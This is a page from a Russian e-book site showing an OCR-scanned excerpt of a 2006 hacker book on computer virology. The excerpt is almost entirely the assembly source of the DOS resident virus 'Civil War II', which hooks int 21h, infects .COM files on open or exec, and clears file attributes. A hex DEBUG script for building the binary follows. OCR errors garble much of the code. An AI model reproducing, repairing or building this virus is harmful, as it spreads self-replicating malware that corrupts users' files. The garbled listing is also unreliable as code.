Книги
чёрным по белому
Главное меню
Главная О нас Добавить материал Поиск по сайту Карта книг Карта сайта
Книги
Археология Архитектура Бизнес Биология Ветеринария Военная промышленность География Геология Гороскоп Дизайн Журналы Инженерия Информационные ресурсы Искусство История Компьютерная литература Криптология Кулинария Культура Лингвистика Математика Медицина Менеджмент Металлургия Минералогия Музыка Научная литература Нумизматика Образование Охота Педагогика Политика Промышленные производства Психология Путеводители Религия Рыбалка Садоводство Саморазвитие Семиотика Социология Спорт Столярное дело Строительство Техника Туризм Фантастика Физика Футурология Химия Художественная литература Экология Экономика Электроника Энергетика Этика Юриспруденция
Новые книги
Цуканов Б.И. "Время в психике человека" (Медицина)

Суворов С. "Танк Т-64. Первенец танков 2-го поколения " (Военная промышленность)

Нестеров В.А. "Основы проэктирования ракет класса воздух- воздух и авиационных катапульных установок для них" (Военная промышленность)

Фогль Б. "101 вопрос, который задала бы ваша кошка своему ветеринару если бы умела говорить" (Ветеринария)

Яблоков Н.П. "Криминалистика" (Юриспруденция)
Реклама

Азбука хакера 3. Компьютерная вирусология - Собейкис В.Г.

Собейкис В.Г. Азбука хакера 3. Компьютерная вирусология — М.: Майор, 2006. — 512 c.
ISBN 5-98551-013-1
Скачать (прямая ссылка): hakeriazbukahakera2006.djvu
Предыдущая << 1 .. 39 40 41 42 43 44 < 45 > 46 47 48 49 50 51 .. 123 >> Следующая

mov ax,cs ; восстанавливаем es
mov es.ax
hook_vector:
cli ; никаких прерываний извне
mov ax,3521 h ;меняем вектор int 21
154
ГЛАВА 4. Вирус - резидент памяти
int 21 h
mov ds,[virus_segment+bp] mov old_21h-6h,bx mov old_21h+2-6h,es
mov dx,offset main_virus - 6h
mov ax.2521 h int 21 h
sti
abort:
mov ax.cs mov ds.ax mov es.ax
end_virus:
mov bx.OlOOh ;прыжок в начало жертвы
jmp bx
main_virus:
pushf
cmp ah.OaOh проверяем вызов вируса jne new_21h ;нет вызова вируса mov
ax.OOOlh ;ax = id popf '.возвращаем id
iret
new_21h: pushds сохраняем регистры push es push di push si push ax push
bx
/
155
Варфоломей Собейкис. АЗБУКА ХАКЕРА-3
push сх push dx
check_open:
cmp ah,3dh je chk_com
check_exec:
cmp ax,04b00h .функция exec? je chk_com
continu: pop dx {восстанавливаем регистры pop cx pop bx pop ax pop si pop
di pop es pop ds popf
jmp dword ptr cs:[old_21h-6]
chk_com: mov cs:[name_seg-6],ds mov cs:[name_off-6],dx cld {проверка на
расширение COM mov di.dx push ds pop es
mov al,7 ;поиск расширения repne scasb {проверка на "COM" cmp word ptr
es:[di],'OC' .проверка'CO'
156
ГЛАВА 4. Вирус - резидент памяти
jne continu
cmp word ptr es:[di+2],'M';проверка 'M' jne continu
call setjnt 24h call set_atribuut
open_file:
mov ds,cs:[name_seg-6]
mov dx,cs:[name_off-6]
mov ax,3D02h открываем файл
call do_int21h
jc close_file
push cs
pop ds
mov [handle-6],ax mov bx.ax
call get_date
checkjnfect: push cs pop ds
mov bx, [handle-6] ;читаем первые 6 байтов mov ahr,3fh mov cx,06h
lea dx,[carrier_begin-6] call dojnt 21 h mov al, byte ptr [carrier_begin-
6]+3 ;проверка букв mov ah, byte ptr [carrier_begin-6]+4 ;'D' и 'H' cmp
ax,[initials-6]
157
Варфоломей Собейкис. АЗБУКА ХАКЕРА-3
je save_date ;если равны, то файл уже инфицирован getjenght:
mov ax,4200h '.указатель файла на начало call move_pointer
mov ax,4202h ;указатель файла на конец
call move_pointer
sub ax,03h ;ax = длина файла
mov [lenght_file-6],ax
call write Jmp call write_virus
save_date: push cs pop ds
mov bx, [handle-6] mov dx, [date-6] mov cx, [time-6] mov ax,5701 h call
dojnt 21 h
close_file:
mov bx, [handle-6]
mov ah,03eh ;закрываем файл
call dojnt 21 h
mov dx,cs:[old_24h-6] восстанавливаем int 24h mov ds,cs:[old_24h+2-6] mov
ax,2524h call dojnt 21 h
158
ГЛАВА 4. Вирус - резидент памяти
jmp continu
new_24h: mov al,3 iret
;...........Процедуры................
move_pointer: push cs pop ds
mov bx, [handle-6] xor cx.cx xor dx.dx call do_int21h ret
do_int21h:
pushf
call dword ptr cs:[old_21h-6] ret
writejmp: push cs pop ds mov ax,4200h call move_pointer mov ah,40h mov
cx,01h lea dx,[jump-6] calldo_int21h mov ah,40h
159
Варфоломей Собейкис. АЗБУКА ХАКЕРА-3
mov cx,02h
lea dx,[lenght_file-6]
call dojnt 21 h
I
mov ah,40h mov cx,02h lea dx,[initials-6] call do_int21h ret
write_virus: push cs pop ds mov ax,4202h call move_polnter mov ah ,40 .
mov cx.len mov dx,100 call dojnt 21 h ret
get_date: mov ax,5700h call dojnt 21 h push cs pop ds
mov [date-6],dx mov [time-6],cx ret
set_int24h:
mov ax,3524h call dojnt 21 h mov cs:[old_24h-6],bx mov cs:[old_24h+2-
6],es
160
ГЛАВА 4. Вирус - резидент памяти
mov dx,offset new_24h-6
push cs
pop ds
mov ax,2524h
call dojnt 21 h
ret
set_atribuut:
mov ax,4300h ;получаем атрибут
mov ds,cs:[name_seg-6] mov dx,cs:[name_off-6] call dojnt 21 h
and cl.Ofeh .устанавливаем атрибут
mov ax,4301h call dojnt 21 h ret
;............Данные................-....................
old_21h dw OOh,OOh
old_24h dw OOh,OOh
carrier_begin db 090h, Ocdh, 020h, 044h, 048h, OOh
text db 'Civil War II v1.1, (c) 06/03/1992 Trident/Dark Helmet',OOh
jump db 0e9h
name_seg dw ?
name_off dw ?
virus_segment dw ?
Ienght_file dw ?
handle dw ?
date dw ?
time dw ?
161
Варфоломей Собейкис. АЗБУКА ХАКЕРА-3
initials dw 4844h
last db 090h
Civil_war ends
end dummy
Отладочный скрипт для вируса Civil War II N CIVIL.COM
E 0100 E9 03 00 44 48 00 E8 00 00 5D 81 ED 09 01 BF 00 E 0110 01 8D B6 FF
02 B9 06 00 F3 A4 B4 A0 CD 21 3D 01 E 0120 00 74 5E 8C C8 48 8E D8 80 3E
00 00 5A 75 4C A1 E 0130 03 00 2D 40 00 A3 03 00 83 2E 12 00 40 8B D8 8C
E 0140 CO 03 СЗ 8E СО B9 57 02 8C D8 40 8E D8 8D B6 06 E 0150 01 BF 00 01
F3 A4 ЗЕ 8C 86 51 03 8C C8 8E CO FA E 0160 B8 21 35 CD 21 3E 8E 9E 51 03
89 1E F1 02 8C 06 E 0170 F3 02 BA 80 01 B8 21 25 CD 21 FB 8C C8 8E D8 8E
E 0180 CO BB 00 01 FF ЕЗ 9C 80 FC AO 75 05 B8 01 00 9D E 0190 CF 1E 06 57
56 50 53 51 52 80 FC 3D 74 13 3D 00 E 01 АО 4B 74 OE 5A 59 5B 58 5E 5F 07
1F 9D 2E FF 2E F1 E 01B0 02 2E 8C 1E 47 03 2E 89 16 49 03 FC 8B FA 1E 07
E 01 СО ВО 2E F2 AE 26 81 3D 43 4F 75 D8 26 83 7D 02 4D E 01 DO 75 D1 E8
EC 00 E8 05 01 2E 8E 1E 47 03 2E 8B 16 E 01EO 49 03 B8 02 3D E8 83 00 72
54 OE 1F A3 4F 03 8B E 01FO D8 E8 BC 00 OE 1F 8B 1E 4F 03 B4 3F B9 06 00
BA E 0200 F9 02 E8 66 00 AO FC 02 8A 26 FD 02 3B 06 55 03 E 0210 74 18 B8
00 42 E8 45 00 B8 02 42 E8 3F 00 2D 03 E 0220 00 A3 4D 03 E8 4B 00 E8 72
00 OE 1F 8B 1E 4F 03
Предыдущая << 1 .. 39 40 41 42 43 44 < 45 > 46 47 48 49 50 51 .. 123 >> Следующая